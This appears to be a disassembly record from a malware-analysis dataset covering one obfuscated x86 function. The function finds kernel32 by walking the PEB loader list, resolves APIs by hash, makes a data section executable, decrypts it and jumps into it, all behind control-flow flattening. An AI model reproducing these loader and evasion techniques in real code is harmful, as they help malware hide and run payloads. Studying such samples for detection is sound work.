Function at 0x4047f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [0x42d5e0]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax + 8], 0x2352e29
mov dword [eax + 4], 0xec12ff12
mov dword [eax], 0xff370119
lea eax, [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [0x42df50]
lea ecx, [eax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor edx, 0xa9b69ff0
and eax, 0x411e0
and edx, ecx
not ecx
mov esi, ecx
mov ebx, edx
and edx, 0xecfeee8b
and esi, 0xa9b28e10
not ebx
or eax, esi
mov esi, eax
xor eax, 0xfffbee1f
mov edi, eax
xor esi, 0x40080
or eax, ebx
and ebx, 0x13011174
and edi, 0x13011174
and esi, 0xa8b68e80
or edx, ebx
not eax
mov ebx, 0xd3b27c90
or esi, edi
xor edx, esi
or eax, edx
mov edx, eax
and eax, 0xa9b69ff1
not edx
and edx, 0x5649600e
or eax, edx
mov edx, eax
and eax, 0xddd80caf
not edx
and edx, 0x2227f350
or eax, edx
xor eax, 0xddd80caf
mov edx, eax
xor eax, ecx
and edx, ecx
or eax, edx
cmp eax, 0xffffffff
mov eax, dword [0x42df54]
sete byte [ebp - 0x21]
cmp eax, 0xa
mov eax, 0xac429084
setl byte [ebp - 0x20]
mov ecx, 0xa7bd6878
nop dword [eax]
cmp eax, 0xb90fefa6
jg 0x404950
cmp eax, 0xa7bd6878
je 0x4049a0
cmp eax, 0xac429084
jne 0x4048e0
movzx eax, byte [ebp - 0x21]
movzx edx, byte [ebp - 0x20]
mov esi, 0xa7bd6878
xor dl, 1
mov ah, al
xor al, dl
xor ah, 1
mov dh, al
xor dh, ah
xor ah, dl
and dh, al
xor ah, 1
xor dh, 1
mov dl, dh
xor dh, ah
or dl, ah
mov eax, edx
xor al, dh
test al, 1
cmovne esi, ebx
test dh, 1
mov eax, esi
cmovne eax, ecx
test dl, 1
cmovne eax, esi
cmp eax, 0xb90fefa6
jle 0x4048e7
nop word cs:[eax + eax]
nop dword [eax]
cmp eax, 0xb90fefa7
je 0x404b9b
cmp eax, 0xd3b27c90
jne 0x4048e0
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x42df08], eax
mov eax, 0xa7bd6878
cmp eax, 0xb90fefa6
jle 0x4048e7
jmp 0x404950
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x42df08], eax
mov eax, dword [0x42df50]
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
and edx, 0xd64a46e5
not eax
and eax, 0x29b5b91a
or edx, eax
mov esi, edx
xor edx, 0x924900a
xor esi, 0x90024045
and edx, 0x4f6c96aa
and esi, 0xb0936955
or esi, edx
mov ecx, esi
mov edx, esi
xor esi, 0xb0936954
xor ecx, 0xb0936955
xor edx, 0xef08473e
and edx, ecx
mov edi, ecx
and ecx, 1
mov eax, edx
and edx, 0x8d1bf8d3
or edi, 0xa064d194
or esi, ecx
not eax
mov ecx, esi
and esi, 0x8f35e609
mov ebx, eax
or eax, edi
not ecx
and ebx, 0x72e4072c
not eax
and ecx, 0x70ca19f6
or edx, ebx
mov ebx, edi
and edi, 0x72e4072c
or esi, ecx
not ebx
and ebx, 0xd1b2843
or ebx, edi
xor ebx, edx
or eax, ebx
mov ebx, 0xd3b27c90
mov edx, eax
and eax, 0xf9854bac
not edx
and edx, 0x67ab453
or eax, edx
mov edx, eax
xor eax, 0xa61e65c6
xor edx, 0x59601801
mov ecx, eax
and ecx, 0x848f8278
and edx, 0x7b707d87
or edx, ecx
mov ecx, esi
xor esi, 0x70ca19f6
xor ecx, 0xb306401
or eax, esi
and esi, 0x848f8278
and ecx, 0x7b707d87
not eax
or ecx, esi
xor ecx, edx
or eax, ecx
mov ecx, eax
mov esi, eax
xor ecx, 0xc8a0852f
and esi, 0x8e2bf7c
and ecx, eax
not eax
and eax, 0xf71d4083
or esi, eax
mov eax, esi
xor esi, 0xc0000003
or esi, 0x375f7ad0
xor eax, 0x52c
mov edx, esi
and eax, 0xc000052e
and edx, 0x3ce0fa11
or eax, edx
mov edx, ecx
and ecx, 0xc31f05ee
not edx
or esi, edx
and edx, 0x3ce0fa11
or ecx, edx
not esi
xor ecx, eax
or esi, ecx
mov eax, esi
and esi, 0xe04dd59f
not eax
and eax, 0x1fb22a60
or esi, eax
mov eax, esi
xor esi, 0xc7002806
xor eax, 0x8400a0
and esi, 0xef697816
and eax, 0x109687e9
or esi, eax
mov eax, dword [0x42df54]
xor esi, 0x109687e9
cmp esi, 0xffffffff
mov esi, 0xd3b27c90
sete cl
setne dl
cmp eax, 0xa
setl ch
cmp eax, 9
setg dh
xor ch, cl
mov al, dh
xor dh, dl
mov cl, ch
and al, dl
not cl
or dh, al
mov al, dh
and dh, ch
xor al, 1
and cl, al
or dh, cl
mov cl, al
xor cl, ch
or ch, al
mov eax, 0xb90fefa7
xor ch, 1
or ch, cl
mov cl, ch
xor cl, dh
test ch, 1
cmovne eax, esi
test dh, dh
mov edx, 0xb90fefa7
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4048d7
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push 0x9385646d
push dword [0x42df08]
call fcn.004038f0
add esp, 8
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
call edx
push 0x27
push 0x42d547
push 0x547
push section..data
call section..text
add esp, 0x10
push 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call section..text
add esp, 0x10
mov eax, 0xc44a2c25
cmp eax, 0x5c46d784
jle 0x404c1b
jmp 0x404d80
mov eax, 0x6b41c49f
nop word cs:[eax + eax]
nop dword [eax]
cmp eax, 0x5c46d784
jg 0x404d80
cmp eax, 0xc44a2c24
jle 0x404d50
cmp eax, 0xc44a2c25
je 0x404df3
cmp eax, 0xff11ab35
je 0x404e70
cmp eax, 0x27e190a4
jne 0x404c10
mov ecx, dword [0x42df58]
lea eax, [ecx - 1]
imul eax, ecx
mov ecx, eax
mov esi, eax
not ecx
and esi, 0xea82a016
mov edx, ecx
and ecx, 0x4c5c6dc9
and edx, 0x5494c00
or esi, edx
mov edx, eax
xor edx, 0xefcbec16
xor esi, 0xea82a016
and edx, eax
mov ebx, esi
and eax, 0xb3a39236
and ebx, edx
xor edx, esi
or eax, ecx
or edx, ebx
xor eax, 0xb3a39236
mov esi, edx
and edx, 0xe168ece6
not esi
and esi, 0x1e971319
or edx, esi
mov esi, 0x77d7ac1e
xor edx, 0xf15cff0e
mov ecx, edx
and ecx, eax
xor eax, edx
mov edx, dword [0x42df5c]
or eax, ecx
mov ecx, eax
and eax, 0xc14b165c
not ecx
and ecx, 0x3eb4e9a3
or eax, ecx
xor eax, 0xc14b165c
setne ch
sete ah
cmp edx, 9
setg al
cmp edx, 0xa
mov dh, ch
mov cl, ch
setl dl
and al, ah
or dh, dl
xor cl, dl
and ch, dl
not cl
xor dh, 1
or al, ch
and cl, dl
mov bl, dh
or dl, ah
and bl, cl
xor cl, dh
xor dl, 1
mov ah, dl
or cl, bl
and ah, al
xor al, dl
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
mov ch, dl
xor dl, al
xor al, 1
and ch, al
or al, cl
and ah, cl
xor al, 1
or ch, ah
or al, dl
mov edx, 0x7db3c159
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x7db3c159
cmovne eax, edx
test ch, 1
jmp 0x4050d3
cmp eax, 0x8ba4eb10
je 0x404bfd
cmp eax, 0xc186bd45
jne 0x404c10
mov eax, 0xff11ab35
mov dword [ebp - 0x44], 0x4e4
cmp eax, 0x5c46d784
jle 0x404c1b
nop dword [eax]
cmp eax, 0x6b41c49e
jle 0x404db0
cmp eax, 0x77d7ac1e
je 0x404ea2
cmp eax, 0x7db3c159
je 0x404f07
cmp eax, 0x6b41c49f
jne 0x404c10
jmp 0x405128
cmp eax, 0x5c46d785
je 0x4050e6
cmp eax, 0x5fbd9bb5
jne 0x404c10
push dword [ebp - 0x40]
push dword [0x42df08]
call fcn.004038f0
add esp, 8
mov dword [ebp - 0x28], eax
mov eax, 0xc186bd45
mov dword [ebp - 0x44], 0
cmp eax, 0x5c46d784
jle 0x404c1b
jmp 0x404d80
mov ecx, 0xad6ab22d
mov dword [ebp - 0x20], 1
nop
cmp ecx, 0xd097754a
jg 0x404e30
cmp ecx, 0xad6ab22d
je 0x404e55
cmp ecx, 0xb07ce3ce
jne 0x404e00
mov ecx, 0xd097754b
xor eax, eax
cmp ecx, 0xd097754a
jle 0x404e08
nop word [eax + eax]
cmp ecx, 0xd097754b
je 0x405102
cmp ecx, 0xfbbf1765
jne 0x404e00
mov ecx, 0xd097754b
mov al, 1
cmp ecx, 0xd097754a
jle 0x404e08
jmp 0x404e30
cmp dword [ebp - 0x20], 0
mov ecx, 0xb07ce3ce
mov edx, 0xfbbf1765
cmove ecx, edx
cmp ecx, 0xd097754a
jle 0x404e08
jmp 0x404e30
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x38]
push ecx
push 0x40
push dword [ebp - 0x44]
push section..data
call eax
test eax, eax
mov eax, 0x27e190a4
mov ecx, 0x6b41c49f
cmove eax, ecx
cmp eax, 0x5c46d784
jle 0x404c1b
jmp 0x404d80
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomW]
mov ebx, section..data
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
push esi
mov edx, ebx
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
mov ecx, 3
sub esp, 4
loop 0x404ecb
mov dword [esp + 4], 1
xor dword [esp + 4], 0xbb8
mov dword [esp], edx
mov dword [esp + 8], 0
lea eax, [edi]
push eax
ret
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_FindAtomW]
mov edi, section..data
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
push esi
mov edx, edi
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
mov ecx, 3
sub esp, 4
loop 0x404f30
mov dword [esp + 4], 1
xor dword [esp + 4], 0xbb8
mov dword [esp], edx
mov dword [esp + 8], 0
lea eax, [ebx]
push eax
ret
cmove eax, edx
cmp eax, 0x5c46d784
jle 0x404c1b
jmp 0x404d80
mov eax, 0x5fbd9bb5
mov dword [ebp - 0x40], 0x8aafdc01
cmp eax, 0x5c46d784
jle 0x404c1b
jmp 0x404d80
test al, 1
mov eax, 0x5c46d785
mov ecx, 0x5fbd9bb5
mov dword [ebp - 0x40], 0
cmovne eax, ecx
cmp eax, 0x5c46d784
jle 0x404c1b
jmp 0x404d80
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f7b3
xor eax, eax
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret